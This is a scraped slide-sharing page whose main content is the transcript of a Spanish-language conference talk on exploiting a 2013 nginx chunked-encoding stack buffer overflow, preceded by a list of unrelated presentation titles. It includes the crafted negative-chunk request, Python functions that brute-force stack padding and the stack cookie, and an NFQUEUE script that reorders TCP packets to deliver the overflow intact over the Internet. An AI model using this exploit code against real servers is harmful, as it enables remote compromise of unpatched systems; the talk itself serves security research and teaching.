WhoamI #BBOOTN. WhoamI Big Buffer Overflow Over The Network Y bla bla bla…

Slides:



Advertisements
Presentaciones similares
Introducción a COBHTTPD
Advertisements

Estructuras de control
1 iWay Service Manager (antes iXTE) 1. 2 Funcionalidad Permite la recepción de mensajes por múltiples protocolos, la manipulación de dicho mensaje, y.
Complejidad Computacional
Complejidad Computacional
Diseño y análisis de algoritmos
¿QUÉ ES HTML? Hipertext Markup Language. Lenguaje de ordenador.
¡Hola! Detrás de la puerta, el dinero, o las cajas o las cajas. Paul Widergren 2007.
LENGUAJES DE DESCRIPCION DE HARDWARE (HDL)
LA NATURALEZA DE DIOS: la base de la expiación
La vida por medio del Espíritu Santo
Subnetting Class B Addresses and Troubleshooting IP Addressing COMP 417.
Lenguaje PHP Capítulo 4.
CI-2413 CGI & Compañía.
Python CI-2200 Programación Avanzada en Sistemas UNIX.
Instrucciones y excepciones
Enfoque: marte, el 3 de junio, 2008 (dos mil ocho) Complete Overhead (UTB #17) in Notas.
Defensa contra ataques web comunes
INF 1400: Redes de Computadores
Sockets y Threads en JAVA
Algoritmos paralelos Lab. 1: Introducción
Español III Pre-AP: El plan para hoy noviembre 2012
Te presento a Python Qué es Python? Lenguaje interpretado
Tipos de Servicios Web.
INGENIERÍA EN SISTEMAS COMPUTACIONALES MAYO DEL 2013 HORARIO DE ATENCIÓN: DIVISIÓN DE INGENERIÍA EN SISTEMAS COMPUTACIONALES DIVISIÓN DE CARRERA I.S.C.
CGI Common Gateway Interface (interfaz de pasarela común)
Curso de PHP Tema 6: Seguridad.
Tema 2: Lenguaje PHP básico
Introduccion a las páginas WEB HTML
Prolog Def. Conjuntos Disjuntos.- Dos conjuntos A y B son disjuntos si A  B =  Def. Recursiva disjuntos([],_). disjuntos([X|Y],Z) :-not (pert(X,Z)),disjuntos(Y,Z).
R. Introducción R es una versión del lenguaje de programación S desarrollado por John Chambers en los laboratorios Bell en R fue escrito inicialmente.
UNIVERSIDAD NACIONAL AUTÓNOMA DE MÉXICO
Servidor.pl #!/usr/local/bin/perl use Socket; ($port) $port = 2345 unless $port; Empleamos el módulo Socket, equivalente a las definiciones que.
Cliente.pl #!/usr/local/bin/perl use Socket; ($them, $port) $port = 2345 unless $port; $them = 'localhost' unless $them; El primer argumento es.
Algoritmos y Estructuras de Datos
Tema 3. Optimización de Código
Excepciones y archivos Info 033. Exception El término Exception es la palabra corta para la frase "evento excepcional." Definition: Una excepción es un.
1 Herencia en Java Agustín J. González Diseño y Programación Orientados a Objetos.
El control de la computación 2 día16, 20-feb-15 SPAN 4350 Cultura computacional en español Harry Howard Tulane University.
Science Meeting Junta de la Ciencia March 3, de marzo 2009 Bridges Academy at Melrose March 3, de marzo 2009 Bridges Academy at Melrose.
SINTAXISYSEMANTICA. Tengo la impresión de que Java fue diseñado para hacer que fuera difícil escribir mal código, mientras que Python está diseñado para.
Programación orientada a objetos
Shellcodes Eduardo Ruiz Duarte Rommel Sanchez Verdejo
function [y,n] = sigadd(x1,n1,x2,n2)
STACK BUFFERS OVERFLOWS. Linux con nucleos 2.4 & 2.6 en arquitectura i386 y compatibles. strcpy(); ANSI C (string.h) David Reguera García.
Presentación Web Services Interoperability and SOAP Keith Ballinger Microsoft Corporation Alvaro Castromán Alfonso Odriozola.
Algoritmos y Estructuras de Datos I Tema 0. Introducción.
Texto de las páginas web día19, 27-feb-15 SPAN 4350 Cultura computacional en español Harry Howard Tulane University.
Node.JS Proyecto Redes de Computadores Sem
Sistemas Distribuidos basados en la web
Prof. Mayra M. Méndez Anota.  Herramientas  Características  Convenciones  Estructura de una clase  Sintaxis de: métodos, atributos, constructores.
Programación de Memoria Compartida
Víctor Toscanini M. & Martín Galaz M.
El lenguaje de programación C - Identificadores y variables – Isidro González Caballero ( Introducción.
Español de septiembre. La Campana Hoy es martes el 23 de septiembre de ¡Matemáticas! ◦1. seis + ocho = ◦2. veinte – once = ◦3. dos x nueve.
Expert.NET Development Programando Web para principiantes Por Jonas Stawski
Cecilia Menéndez González Erick Giovanni Sánchez Madero Miguel Ángel González Alarcón.
ELO3091 Interfaz de Socket Agustín J. González ELO309.
Funciones. def mi_funcion(param1, param2): print param1 print param2 Considerar identación Estructura de Funciones.
Agenda Clase 6 Iteradores. Enumeración sin iteradores. Loops lógicos. Recursión vs. Iteración. Recursión de Cola. Orden de Evaluación Normal y Aplicativo.
Servlets Servlets son módulos que extienden a servidores orientados a request/response, como por ejemplo Servidores Web “java-enabled”. Un servlet puede.
Oscar F. Bedoya L. Fundamentos de análisis y diseño de algoritmos.
Introducción Nivel 4. Modelo OSI Propiedades Nivel 4 Entrega de mensajes garantizada. Entrega de mensajes en el mismo orden en el que fueron enviados.
U11: Recursividad Otra manera de hacer bucles Dicen algunos pedagogos que conceptualmente mas sencilla.
U8 Repetición controlada por expresión lógica y cadenas 1 Flexibilidad.
U9 Estructuras: Agrupación de elementos de distinto tipo 1 Barajar complejidad.
U5 tipos de datos secuencias y bucle definido 1 ¡¡¡¡Abstracción!!!!
Reader’s Workshop Taller Literario How to choose a book Cómo elegir un libro.
Prueba de bio Esto es una prueba. Y esta otra.
Desbordamiento de buffer remoto Conceptos básicos (CPU Intel x86)
Transcripción de la presentación:

WhoamI #BBOOTN

WhoamI Big Buffer Overflow Over The Network Y bla bla bla…

SOBRE MI Albert Puigsech Galicia Más de 15 años dedicado al InfoSec. Manager del laboratorio de seguridad de EY. Director de centro Codelearn Sant Gervasi. Miembro del grupo int3pids. Creador de la publicación apuigsech

QUIEN MÁS? Socio de oriol-carreras-ballester

ANTECEDENTES A principios de Mayo de 2013 se publica una vulnerabilidad en nginx.  nginx crafted request handling remote overflow  CVE  Otra vez el chunked encoding, y bla bla bla…

EL EXPLOIT Análisis del parche: El problema se produce en la función ngx_http_parse_chunked() cuando ctx->size o ctx->length es menor que zero. --- src/http/ngx_http_parse.c +++ src/http/ngx_http_parse.c -2209, ,10 data: + if (ctx->size length < 0) { + goto invalid; + } + return rc; done: Y bla bla bla…

EL EXPLOIT Análisis del código:  La función de parsing procesa carácter a carácter en un bucle enorme que implementa una maquina de estados, y bla bla bla…  Al final se resume todo en usar un tamaño de chunk encode negativo.

EL EXPLOIT Una prueba tonta: GET /html HTTP/1.1 Host: localhost Transfer-Encoding: chunked feeeeeeeeeeeeeeee El gdb nos dice esto: Breakpoint 2, ngx_http_parse_chunked (r=0x94dc4d8, b=0x94d6064, ctx=0x94dcc94) at src/http/ngx_http_parse.c: ctx->state = state; (gdb) p ctx->size $7 = (gdb) Y bla bla bla…

EL EXPLOIT Vale, y?: En la función ngx_http_read_discarded_request_body() podemos encontrar el siguiente código: u_char buffer[NGX_HTTP_DISCARD_BUFFER_SIZE]; (…) size = (size_t) ngx_min(r->headers_in.content_length_n, NGX_HTTP_DISCARD_BUFFER_SIZE); n = r->connection->recv(r->connection, buffer, size); NGX_HTTP_DISCARD_BUFFER_SIZE es Y bla bla bla…

EL EXPLOIT Jojojo. Un buffer overflow de toda la vida (*). (*) Con stack cookie aleatorio. Y bla bla bla…

EL EXPLOIT Código del Exploit: Crafted Request! Y bla bla bla… def get_magic_request(sz): req = "GET /html HTTP/1.1\n" req += "Host: localhost\n" req += "Connection: keep-alive\n" req += "Transfer-Encoding: chunked\n" req += "\n" extra = sz - len(req) - 17 extra = extra - 5 req += "%x" % extra + "\n" + "A"*extra + "\n" req += "eeeeeeeeeeeeeeee\t" return req

EL EXPLOIT Código del Exploit: Auto-Padding! Y bla bla bla… def get_padding(): print "[+] Finding stack padding" for i in range(0, 128): print "\r\t- Trying: %i" % i, sys.stdout.flush() req = prepare_request(1024, BUFSIZE, i, 0xff, 1, 0, "") s = do_connect(HOST, PORT) s.send(req) if len(s.recv(1024)) <= 0: print "\r\t- Trying: %i (FOUND!)\n" % i break if i == 127: print "\r\t- Not Found: Are you sure that this is exploitable?" return None else: return i

EL EXPLOIT Código del Exploit: Auto-Cookie!!!!! Y bla bla bla… def get_cookie(padding_bc_size): print "[+] Obtaining stack protection cookie" cookie = 0x for i in range(0,4): for j in range(0x00, 0xff): print "\r\t- Trying: %x" % cookie, sys.stdout.flush() req = prepare_request(1024, BUFSIZE, padding_bc_size, cookie, i+1, 0, "") s = do_connect(HOST, PORT) s.send(req) if (len(s.recv(1024)) > 0): break cookie += 0x01<<(8*i) print "\r\t- Trying: %x (FOUND!)\n" % cookie, return cookie

EL EXPLOIT Atacando a través de la red local: Y bla bla bla…

EL EXPLOIT Atacando a través de la Internet: Y bla bla bla…

EL MISTERIO Qué cojones pasa? Miremos el log… 2013/08/20 01:57:07 [debug] 9816#0: *1 http chunked byte: FF s:2 2013/08/20 01:57:07 [debug] 9816#0: *1 recv: fd: of 1435 Y bla bla bla…

EL MISTERIO Qué cojones pasa? Miremos el trafico de red… 1500

EL MISTERIO ¡Respuesta! $ ifconfig eth0 Link encap:Ethernet HWaddr 00:1c:42:aa:cd:ae inet addr: Bcast: Mask: inet6 addr: fe80::21c:42ff:feaa:cdae/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets: errors:0 dropped:17 overruns:0 frame:0 TX packets: errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes: (74.8 MB) TX bytes: (59.3 MB “La MTU nos esta jodiendo” La unidad máxima de transferencia (Maximum Transfer Unit - MTU) es un término de redes de computadoras que expresa el tamaño en bytes de la unidad de datos más grande que puede enviarse usando un protocolo de comunicaciones. Y bla bla bla…

Aplicación (nginx) QUE OCURRE? Aplicación (exploit) TCP IP Física TCP IP Física Internet … El paquete es dividido en paquetios antes de ser enviado, Y el destino los procesa en llamadas recv() independientes El paquete es dividido en paquetios antes de ser enviado, Y el destino los procesa en llamadas recv() independientes Y bla bla bla….

SOLUCION? Primer intento… Forzar una MTU mayor. $ ifconfig eth0 mtu 8000 up

Aplicación (nginx) QUE OCURRE AHORA? Aplicación (exploit) TCP IP Física TCP IP Física Internet … El paquete es dividido en paquetitos en algún punto de internet, Y el destino los procesa en llamadas recv() independientes. No podemos aumentar demasiado el MTU porque existen limitaciones en los diversos protocolos. El paquete raramente llegará entero a su destino a través de Internet. El paquete es dividido en paquetitos en algún punto de internet, Y el destino los procesa en llamadas recv() independientes. No podemos aumentar demasiado el MTU porque existen limitaciones en los diversos protocolos. El paquete raramente llegará entero a su destino a través de Internet. Y bla bla bla….

SOLUCION? Si no podemos enviar el paquete entero… Tenemos que hacer que, por lo menos, llegue entero a la aplicación destino (nginx). Y bla bla bla…

(UN POCO DE REDES) El modelo OSI tiene diversas capas en las que se procesan los paquetes. El paquete debe llegar compacto a la capa de Aplicación. En que capas se ensamblan paquetes? IP: Paquetes fragmentados. TCP: En algunas condiciones. Y bla bla bla…

(UN POCO DE REDES) Cómo funciona la capa TCP.  Protocolo orientado a conexiones con controles de secuencia.  Tiene un Buffer interno llamado “Ventana” de un tamaño concreto.  La Ventana se usa para ensamblar paquetes.

(UN POCO DE REDES) Llega un paquete TCP… 1.Se coloca en la Ventana. 2.Se evalúa si el contenido está completo (gracias a los números de secuencia). 3.Si el contenido está completo se envía a la capa superior (capa de Aplicación). 4.Si no esta completo se sigue esperando contenido. 5.Y bla bla bla…

SOLUCION? Segundo intento… Intentar que los paquetes se ensamblen en la capa TCP… Como? Si enviamos el primer paquete del bloque de datos en último lugar, la capa TCP no podrá entregar los datos a la capa de Aplicación hasta que este llegue Primer paquete al final. Y bla bla bla…

Aplicación (nginx) QUE OCURRE? Aplicación (exploit) TCP IP Física TCP Ventana IP Física Internet 1500 Y bla bla bla… PWNED

SOLUCION Como lo hacemos?  Implementando un stack TCP/IP en userspace en nuestro exploit. Elegante, pero un palo.  Manipular el kernel Feo, y un palo.  Usar las NFQUEUS de netfilter. Feo, pero FACIL Y bla bla bla…

SOLUCION Código del NFQUEUE: import nfqueue import socket import time data_count = 0 delayed = None def cb(dummy, payload): global data_count global delayed print "OUTCOMING PACKAGE!" data = payload.get_data() if len(data) > 60: data_count += 1 if (data_count == 1): delayed = payload print data payload.set_verdict(nfqueue.NF_DROP) else: data_count = 0 q = nfqueue.queue() q.open() q.bind(socket.AF_INET) q.set_callback(cb) q.create_queue(0) try: q.try_run() except KeyboardInterrupt: print "Exiting..." q.unbind(socket.AF_INET) q.close()

PREGUNTAS?